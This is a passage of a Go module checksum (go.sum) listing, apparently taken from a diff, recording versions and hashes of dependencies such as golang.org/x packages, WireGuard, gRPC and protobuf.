github.com/vishvananda/netns v0.0.4 h1:Oeaw1EM2JMxD51g9uhtC0D7erkIjgmj8+JZc26m1YX8=
github.com/vishvananda/netns v0.0.4/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM=
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
go4.org/mem v0.0.0-20220726221520-4f986261bf13 h1:CbZeCBZ0aZj8EfVgnqQcYZgf0lpZ3H9rmp5nkDTAst8=
go4.org/mem v0.0.0-20220726221520-4f986261bf13/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
go4.org/netipx v0.0.0-20230824141953-6213f710f925 h1:eeQDDVKFkx0g4Hyy8pHgmZaK0EqB4SD6rvKbUdN3ziQ=
go4.org/netipx v0.0.0-20230824141953-6213f710f925/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc=
golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k=
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -293,17 +477,21 @@ golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.6.0 h1:Lh8GPgSKBfWSwFvtuWOfeI3aAAnbXTSutYxJiOJFgIw=
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -311,12 +499,16 @@ golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200217220822-9197077df867/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -327,26 +519,32 @@ golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220622161953-175b2fd9d664/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8=
golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
@@ -356,44 +554,50 @@ golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc=
golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
golang.zx2c4.com/wireguard v0.0.0-20220202223031-3b95c81cc178/go.mod h1:TjUWrnD5ATh7bFvmm/ALEJZQ4ivKbETb6pmyj1vUoNI=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 h1:KwsvzlnmErwMd3BXoBSEuL8qU72QxFM/uOUAgZmavRc=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24/go.mod h1:bVQfyl2sCM/QIIGHpWbFGfHPuDvqnCNkT6MQLTCjO/U=
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 h1:9c4/JVIQUc2qCJEEIiGIs3HmmnFjhPj4qHW4+Uj+u3U=
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68/go.mod h1:8P32Ilp1kCpwB4ItaHyvSk4xAtnpQ+8gQVfg5WaO1TU=
golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE=
golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM=
google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
